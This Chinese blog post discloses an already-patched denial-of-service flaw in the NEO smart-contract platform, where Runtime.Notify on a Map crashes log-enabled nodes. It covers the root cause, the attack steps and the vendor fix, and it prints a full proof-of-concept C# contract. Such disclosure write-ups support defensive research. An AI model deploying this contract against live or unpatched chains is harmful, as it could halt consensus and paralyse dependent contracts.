0day-NEO智能合约平台Runtime.Notify调用拒绝服务漏洞

— 发现的第一个0day —

前言


在实验室改以太坊的智能合约到neo。
改着改着发现一个拒绝服务攻击漏洞,利用攻击的话整个链会全部崩掉,没法出块,危害还挺大的,emmm,在此记录第一个0day。

漏洞


漏洞名称:NEO智能合约平台Runtime.Notify()调用拒绝服务漏洞
漏洞影响:导致Neo链上所有开启log模式的全节点崩溃(包括共识节点)。
漏洞细节:出现在neo全节点虚拟机中执行智能合约语句Runtime.Notify()时发生崩溃

Neo智能合约平台为合约提供了记录数据信息输出到文件的系统调用System.Runtime.Notify。该调用在处理合约请求时未考虑到全部可能的数据结构,将导致智能合约系统平台crash。

其产生的影响会根据节点的部署情况而有所不同,但是都较为严重。

由于Neo目前是有7个主节点负责验证并打包全网交易。恶意用户将利用该漏洞的恶意合约发布到neo网络中,假如超过4个主节点开启了LOG功能,这些节点在解析运行该恶意合约时将引发崩溃,无法继续达成共识,进而导致整个neo网络拒绝服务。

即使主节点不使用LOG可以完成共识正常出块,但是NEO链中所有NEP5代币智能合约都会使用LOG功能,几乎所有DAPP也会使用LOG功能。所有LOG节点崩溃,会使基于NEO链的大部分智能合约瘫痪。

崩溃截图:
崩溃截图

漏洞产生原因

在执行Runtime.Notify没有考虑所有可能被 Runtime.Notify 写入日志文件的数据类型,在数据转化时解析出错。

Runtime.Notify 是记录智能合约日志的功能,可以输出想要知道的数据的值。类似于console.log(),输出的数据会写入LevevlDB数据库,最后变为一个文件。

判断是否是log模式

构建文件,写入文件

其中ToParameter函数在转化Map格式时崩溃。

官方回复:因为ToParameter函数在实现的时候还没有Map,后来做了Map功能后忘记更新ToParameter了。

ToParameter函数,在官方github中的NEO项目中ContractParameter.csContractParameterType.csHelper.cs实现

漏洞攻击过程

攻击过程

  • 构建恶意智能合约代码
  • 部署智能合约
  • 调用恶意智能合约
  • 所有开启log功能的节点同步区块,执行智能合约代码,崩溃。(如果共识节点开启log功能,会直接崩溃,不会产生区块)

当时提交的智能合约POC分析:
(复杂版,当时没有去看源码觉得有两种漏洞原因,以为可能是跟360找到的漏洞一样,因为map与struct嵌套导致漏洞,也有可能是因为其中一种结构,没有排除到根本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Services.Neo;
using Neo.SmartContract.Framework.Services.System;
using Helper = Neo.SmartContract.Framework.Helper;
using System;
using System.Numerics;

namespace NeoContract1
{
public class test : SmartContract
{

//结构体
//以 (byte[]) fileid - (结构体) Upload 为键值对 的 Map结构 (map_Up开头)
//以 (byte[]) fileid - (结构体) Purchase 为键值对 的 Map结构

// Upload结构体
public class Upload
{
public byte[] fileID; // fileID
public Map<byte[], Purchase> map_Pu; //Map结构
}
//Purchase结构体
public class Purchase
{
public byte[] fileID;
}
.....省略合约入口.........
//攻击调用
public static bool Attack(byte[] fileID)
{
Map<byte[], Purchase> map_Pu = new Map<byte[], Purchase>();
//新建Purchase结构体
Purchase pu = new Purchase
{
fileID = fileID,
};
map_Pu[fileID] = pu;
//新建外部upload结构体
Upload up = new Upload
{
fileID = fileID,
map_Pu = map_Pu,
};
//存储upload结构体
StorageMap map_Up = Storage.CurrentContext.CreateMap("map_Up");
map_Up.Put(fileID, up.Serialize());

Runtime.Notify("OK");

//得到fileID对应的Upload
Upload map_fileID = GetUpload(fileID);
//问题出在这里!!!!!!!!!!!!!!!!此处崩溃
Runtime.Notify(map_fileID);
Runtime.Notify(map_fileID.fileID);
//估计就是两句中上面的第一句
//可能1. 一个结构体 因为结构中的非法字符 在解析写入文件的时候 导致崩溃 (可能因为结构体 其中包含着不在预期估计范围的作为结构体分割 的字符)
//可能2. 一个多层嵌套 map struct 的结构体 因为多层嵌套的原因 在解析没有预计 导致崩溃

//得到upload的map_Pu 中对应
Map<byte[], Purchase> map_Pu_2 = map_fileID.map_Pu;
Runtime.Notify(map_Pu_2[fileID]);

return true;
}

public static Upload GetUpload(byte[] fileID)
{
StorageMap map_Up = Storage.CurrentContext.CreateMap("map_Up");

var bytes = map_Up.Get(fileID);
if (bytes.Length > 0)
{
return Helper.Deserialize(bytes) as Upload;
}
else
return new Upload();
}

}
}

按照官方的原因的话,应该直接建立一个MAP结构,Runtime.Notify(MAP)格式,就可以,不用向上面那么复杂

贴上攻击结果的一些截图:

共识节点开启log:

共识节点不开启log:

漏洞修补

官方于09.10修补了漏洞,添加了map对应处理情况。修复情况链接

最后

很感谢学长和老师(就不贴出名字了)引入门的指导,一直以来的支持和照顾。这也是能发现0day不可或缺的先前条件。

信息安全就是如此,潜心学习,沉淀,耐心研究,挖掘,总有收获。
共勉。